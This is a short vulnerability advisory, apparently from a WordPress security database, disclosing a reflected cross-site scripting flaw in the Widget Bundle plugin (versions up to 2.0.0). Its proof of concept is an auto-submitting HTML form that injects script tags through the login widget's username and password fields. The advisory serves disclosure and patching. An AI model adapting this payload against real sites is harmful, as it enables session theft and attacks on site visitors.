WordPress Plugin Vulnerabilities
Widget Bundle <= 2.0.0 - Unauthencated Reflected XSS
Description
The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against only unauthenticated users
Proof of Concept
On a site with the User Login/Registration widget active, have an unauthenticated user send a post request to the any page where the widget appears:
```
<body onload="document.forms[0].submit()">
<form action="https://example.com" method="post">
<input type="hidden" name="login_username" value='"><script>alert(1)</script>' />
<input type="hidden" name="login_password" value='"><script>alert(2)</script>' />
<input type="hidden" name="widget_login_submit" value="Login" />
<input type="submit" value="Submit" />
</form>
</body>
```
